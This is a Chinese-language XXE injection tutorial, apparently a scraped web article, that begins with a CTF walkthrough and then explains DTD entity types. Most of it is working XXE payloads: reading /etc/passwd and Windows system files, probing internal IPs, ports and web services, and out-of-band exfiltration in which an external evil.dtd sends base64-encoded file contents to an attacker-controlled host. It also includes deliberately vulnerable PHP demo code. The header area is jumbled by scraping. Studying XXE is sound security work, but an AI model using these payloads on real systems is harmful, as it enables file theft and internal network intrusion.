快捷搜索:  汽车  科技

深入浅出XXE漏洞(深入浅出XXE漏洞)

深入浅出XXE漏洞(深入浅出XXE漏洞)<user><username>&xxe;</username><password>'='adawd</password></user><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>看得出是xml ,然后就可以想到是xxePayload<?xml version="1.0"?>

对于xxe漏洞,我们先看个实例

https://buuoj.cn/challenges#[NCTF2019]True XML cookbook

深入浅出XXE漏洞(深入浅出XXE漏洞)(1)

登录

深入浅出XXE漏洞(深入浅出XXE漏洞)(2)

Burpsuit抓包

深入浅出XXE漏洞(深入浅出XXE漏洞)(3)

看得出是xml ,然后就可以想到是xxe

Payload

<?xml version="1.0"?>

<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<user><username>&xxe;</username><password>'='adawd</password></user>

深入浅出XXE漏洞(深入浅出XXE漏洞)(4)

读取到了/etc/passwd文件

深入浅出XXE漏洞(深入浅出XXE漏洞)(5)

读取到hosts文件

可以想到是打内网

用intruder模块

深入浅出XXE漏洞(深入浅出XXE漏洞)(6)

http://173.128.30.$1-255$

深入浅出XXE漏洞(深入浅出XXE漏洞)(7)

Getflag

XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞。XXE扩大了攻击面。

当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

XXE基础知识介绍

DTD 的作用:1. 定义元素(其实就是对应 XML 中的标签);2. 定义实体(对应XML 标签中的内容)

假如 DTD 位于 XML 源文件的外部,那么可以通过引用外部文档说明的方式,效果同上:

深入浅出XXE漏洞(深入浅出XXE漏洞)(8)

  1、 当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上"DTD的文件路径",如下:

    <!DOCTYPE 根元素 SYSTEM "DTD文件路径">

  2、 如果引用的DTD文件是一个公共文件时,采用PUBLIC标识,如下:

    <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

1. 内部实体声明

<!ENTITY 实体名称 "实体的值">

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY xxe "Thinking">]>

<foo>&xxe;</foo>

2. 外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE copyright [<!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]>

<reset>

<login>&test;</login>

<secret>login</secret>

</reset>

上述两种均为引用实体,主要在XML文档中被应用,引用方式:&实体名称; 末尾要带上分号,这个引用将直接转变成实体内容。

3. 参数实体声明

<!ENTITY % 实体名称 "实体的值">

<!ENTITY % 实体名称 SYSTEM "URI/URL">

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE copyright [<!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" >

<!ENTITY xxe "%body;">

]>

<reset>

<secret>login</secret>

</reset>

参数实体,被DTD文件自身使用 ,引用方式为:%实体名称。和通用实体一样,参数实体也可以外部引用。

允许包含外部实体,就可能存在XXE 攻击。

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

深入浅出XXE漏洞(深入浅出XXE漏洞)(9)

当然也支持php伪协议

4. 公共实体声明

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

有回显的情况下

测试demo:

<?php

libxml_disable_entity_loader (false);

//若为true,则表示禁用外部实体

$xmlfile = file_get_contents('php://input');

//可以获取POST来的数据

$dom = new DOMDocument();

$dom->loadXML($xmlfile LIBXML_NOENT | LIBXML_DTDLOAD);

$creds = simplexml_import_dom($dom);

echo $creds;?>

一、读取本地文件

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>

<creds>&goodies;</creds>

深入浅出XXE漏洞(深入浅出XXE漏洞)(10)

二、读取含特殊字符的本地文件

如果文件中含有特殊字符,如& < > " '等,通过上述方法会报错,需要借助CDATA,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE roottag [<!ENTITY % start "<![CDATA[">

<!ENTITY % goodies SYSTEM "file:///C:/phpStudy/WWW/zhan/XXE-K/test.txt">

<!ENTITY % end "]]>">

<!ENTITY % dtd SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil.dtd">

%dtd; ]>

<roottag>&all;</roottag>

http://192.168.220.143:8888/zhan/XXE-K/evil.dtd:

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY all "%start;%goodies;%end;">

三、内网ip探测

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144"> ]>

<creds>&goodies;</creds>

注:根据响应的时间的长短判断ip是否存在,可以通过burp重放遍历端口

四、内网端口探测

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144:22"> ]>

<creds>&goodies;</creds>

注:根据响应的时间的长短判断端口是否开放,可以通过burp重放遍历端口;如果有报错,可以直接探测出banner信息。

深入浅出XXE漏洞(深入浅出XXE漏洞)(11)

五、内网系统web服务探测

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144/bWAPP/login.php"> ]>

<creds>&goodies;</creds>

回显的情况下

测试demo:

<?php

libxml_disable_entity_loader (false);

//若为true,则表示禁用外部实体

$xmlfile = file_get_contents('php://input');

//可以获取POST来的数据

$dom = new DOMDocument();

$dom->loadXML($xmlfile LIBXML_NOENT | LIBXML_DTDLOAD);?>

一、外带数据读取文件

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd">

%remote;%int;%send;

]>

http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd:

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.220.144:9999?p=%file;'>">

猜您喜欢: